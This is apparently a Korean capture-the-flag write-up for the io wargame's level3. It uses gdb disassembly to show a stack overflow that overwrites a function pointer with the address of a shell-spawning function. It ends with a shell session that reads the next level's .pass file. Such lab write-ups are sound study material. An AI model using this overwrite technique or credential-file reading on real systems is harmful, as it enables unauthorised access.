level3 를 실행했더니 위와같이 세그멘테이션 폴트가 발생합니다.
인자를 넣어보았습니다.
hmm 의 주소가 0x804847f 라고 나오는 걸로 봐서 이주소가 힌트가 될거라 생각되네요.
함수에 대한 심볼을 살펴보았더니..
level3@io:/levels$ gdb level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) info func
All defined functions:
Non-debugging symbols:
0x08048318 _init
0x08048340 execl@plt
0x08048350 strlen@plt
0x08048360 __libc_start_main@plt
0x08048370 printf@plt
0x08048380 memset@plt
0x08048390 __gmon_start__@plt
0x080483c4 call_gmon_start
0x080483f0 __do_global_dtors_aux
0x08048430 frame_dummy
0x08048464 good
0x0804847f hmm
0x080484af main
0x080485b0 __libc_csu_fini
0x08048600 __libc_csu_init
0x08048653 __i686.get_pc_thunk.bx
0x08048660 __do_global_ctors_aux
0x08048690 _fini
(gdb)
함수 hmm 이 있습니다.
Dump of assembler code for function hmm:
0x0804847f <hmm+0>: push %ebp
0x08048480 <hmm+1>: mov %esp,%ebp
0x08048482 <hmm+3>: sub $0x18,%esp
0x08048485 <hmm+6>: movl $0x80486c8,(%esp)
0x0804848c <hmm+13>: call 0x8048370 <printf@plt>
0x08048491 <hmm+18>: movl $0x0,0x8(%esp)
0x08048499 <hmm+26>: movl $0x80486ce,0x4(%esp)
0x080484a1 <hmm+34>: movl $0x80486d1,(%esp)
0x080484a8 <hmm+41>: call 0x8048340 <execl@plt>
0x080484ad <hmm+46>: leave
0x080484ae <hmm+47>: ret
End of assembler dump.
(gdb)
printf가 찍는 문자열을 확인해보았습니다.
0x80486c8 <_IO_stdin_used+24>: "Win.\n"
Win 이라네요. 아무래도 0x0804847f의 함수 포인터를 어딘가에 덮어 씌우면 될거 같습니다.
해보는김에 good도 확인해봤습니다.
Dump of assembler code for function good:
0x08048464 <good+0>: push %ebp
0x08048465 <good+1>: mov %esp,%ebp
0x08048467 <good+3>: sub $0x8,%esp
0x0804846a <good+6>: mov 0x8(%ebp),%eax
0x0804846d <good+9>: mov %eax,0x4(%esp)
0x08048471 <good+13>: movl $0x80486b4,(%esp)
0x08048478 <good+20>: call 0x8048370 <printf@plt>
0x0804847d <good+25>: leave
0x0804847e <good+26>: ret
End of assembler dump.
(gdb) x/s 0x080486b4
0x80486b4 <_IO_stdin_used+4>: "Address of hmm: %p\n"
이녀석이 원래 호출되는 함수군요.
main 함수를 디스어셈블 해볼까요
0x080484b0 <main+1>: mov %esp,%ebp
0x080484b2 <main+3>: sub $0x58,%esp
0x080484b5 <main+6>: and $0xfffffff0,%esp
0x080484b8 <main+9>: mov $0x0,%eax
0x080484bd <main+14>: sub %eax,%esp
0x080484bf <main+16>: movl $0x0,0xfffffff4(%ebp)
0x080484c6 <main+23>: mov 0xfffffff4(%ebp),%eax
0x080484c9 <main+26>: lea 0x0(,%eax,4),%edx
0x080484d0 <main+33>: mov 0x80497f0,%eax
0x080484d5 <main+38>: cmpl $0x0,(%eax,%edx,1)
0x080484d9 <main+42>: jne 0x80484dd <main+46>
0x080484db <main+44>: jmp 0x8048524 <main+117>
0x080484dd <main+46>: mov 0xfffffff4(%ebp),%eax
0x080484e0 <main+49>: lea 0x0(,%eax,4),%edx
0x080484e7 <main+56>: mov 0x80497f0,%eax
0x080484ec <main+61>: mov (%eax,%edx,1),%eax
0x080484ef <main+64>: mov %eax,(%esp)
0x080484f2 <main+67>: call 0x8048350 <strlen@plt>
0x080484f7 <main+72>: mov %eax,0x8(%esp)
0x080484fb <main+76>: movl $0x0,0x4(%esp)
0x08048503 <main+84>: mov 0xfffffff4(%ebp),%eax
0x08048506 <main+87>: lea 0x0(,%eax,4),%edx
0x0804850d <main+94>: mov 0x80497f0,%eax
0x08048512 <main+99>: mov (%eax,%edx,1),%eax
0x08048515 <main+102>: mov %eax,(%esp)
0x08048518 <main+105>: call 0x8048380 <memset@plt>
0x0804851d <main+110>: lea 0xfffffff4(%ebp),%eax
0x08048520 <main+113>: incl (%eax)
0x08048522 <main+115>: jmp 0x80484c6 <main+23>
0x08048524 <main+117>: movl $0x8048464,0xffffffec(%ebp)
0x0804852b <main+124>: mov 0xc(%ebp),%eax
0x0804852e <main+127>: add $0x4,%eax
0x08048531 <main+130>: mov (%eax),%eax
0x08048533 <main+132>: mov %eax,(%esp)
0x08048536 <main+135>: call 0x8048350 <strlen@plt>
0x0804853b <main+140>: cmp $0x28,%eax
0x0804853e <main+143>: ja 0x8048553 <main+164>
0x08048540 <main+145>: mov 0xc(%ebp),%eax
0x08048543 <main+148>: add $0x4,%eax
0x08048546 <main+151>: mov (%eax),%eax
0x08048548 <main+153>: mov %eax,(%esp)
0x0804854b <main+156>: call 0x8048350 <strlen@plt>
0x08048550 <main+161>: mov %eax,0xfffffff0(%ebp)
0x08048553 <main+164>: movl $0x0,0xfffffff4(%ebp)
0x0804855a <main+171>: mov 0xfffffff4(%ebp),%eax
0x0804855d <main+174>: cmp 0xfffffff0(%ebp),%eax
0x08048560 <main+177>: jle 0x8048564 <main+181>
0x08048562 <main+179>: jmp 0x8048592 <main+227>
0x08048564 <main+181>: lea 0xffffffc8(%ebp),%eax
0x08048567 <main+184>: mov %eax,%ecx
0x08048569 <main+186>: add 0xfffffff4(%ebp),%ecx
0x0804856c <main+189>: mov 0xc(%ebp),%edx
0x0804856f <main+192>: add $0x4,%edx
0x08048572 <main+195>: mov 0xfffffff4(%ebp),%eax
0x08048575 <main+198>: add (%edx),%eax
0x08048577 <main+200>: movzbl (%eax),%eax
0x0804857a <main+203>: mov %al,(%ecx)
0x0804857c <main+205>: cmpl $0x23,0xfffffff4(%ebp)
0x08048580 <main+209>: jg 0x804858b <main+220>
0x08048582 <main+211>: lea 0xffffffc8(%ebp),%eax
0x08048585 <main+214>: add 0xfffffff4(%ebp),%eax
0x08048588 <main+217>: movb $0x41,(%eax)
0x0804858b <main+220>: lea 0xfffffff4(%ebp),%eax
0x0804858e <main+223>: incl (%eax)
0x08048590 <main+225>: jmp 0x804855a <main+171>
0x08048592 <main+227>: movl $0x804847f,0xffffffc4(%ebp)
0x08048599 <main+234>: mov 0xffffffc4(%ebp),%eax
0x0804859c <main+237>: mov %eax,(%esp)
0x0804859f <main+240>: mov 0xffffffec(%ebp),%eax
0x080485a2 <main+243>: call *%eax
0x080485a4 <main+245>: mov $0x0,%eax
0x080485a9 <main+250>: leave
0x080485aa <main+251>: ret
0x080485ab <main+252>: nop
0x080485ac <main+253>: nop
0x080485ad <main+254>: nop
0x080485ae <main+255>: nop
0x080485af <main+256>: nop
중간중간에 섞여있는 이런 표현들이 헷갈리네요
0x080484c9 <main+26>: lea 0x0(,%eax,4),%edx
0x080484d5 <main+38>: cmpl $0x0,(%eax,%edx,1)
0x080484ec <main+61>: mov (%eax,%edx,1),%eax
call %eax 가 결국 함수 포인터를 호출하는 부분일테니.. 이곳에 브레이크 포인트를 걸어봤습니다.
(gdb) b *main+243
Breakpoint 1 at 0x80485a2
(gdb) r AAAAAAAAAAAA
Starting program: /levels/level3 AAAAAAAAAAAA
Breakpoint 1, 0x080485a2 in main ()
(gdb) info reg esp
esp 0xbfffdcf0 0xbfffdcf0
esp를 확인하고 스택을 들여다보니 다음과 같네요.
0xbfffdcf0: 0x0804847f 0x00000000 0x00000033 0x00ebd80e
0xbfffdd00: 0x00f87ff4 0x00f862e8 0xbfffdd18 0x0804847f
0xbfffdd10: 0x41414141 0x41414141 0x41414141 0x08048341
0xbfffdd20: 0x00000002 0xbfffddc4 0xbfffdd48 0x08048619
0xbfffdd30: 0x00e64c8c 0x08048464 0x0000000c 0x0000000d
0xbfffdd40: 0x00000000 0x00fc0cc0 0xbfffdd98 0x00e6eea8
0xbfffdd50: 0x00000002 0xbfffddc4 0xbfffddd0 0x00000000
0xbfffdd60: 0x00f87ff4 0x00000000 0x00fc0cc0 0xbfffdd98
0xbfffdd70: 0xbfffdd50 0x00e6ee6d 0x00000000 0x00000000
0xbfffdd80: 0x00000000 0x00fb6090 0x00e6eded 0x00fc0ff4
0xbfffdd90: 0x00000002 0x080483a0 0x00000000 0x080483c1
0xbfffdda0: 0x080484af 0x00000002 0xbfffddc4 0x08048600
0xbfffddb0: 0x080485b0 0x00fb6c40
덮어 씌워야 하는 곳은 0x08048464 (good)의 함수 포인터 입니다. 따라서 36byte만큼 채우고 hmm의
함수 포인터를 던져줍니다.
Win.
sh-3.1$ cd /home/level4
sh-3.1$ cat .pass
음.. 다시 풀고 보니 왠지 뽀록으로 푼거 같네요. -0-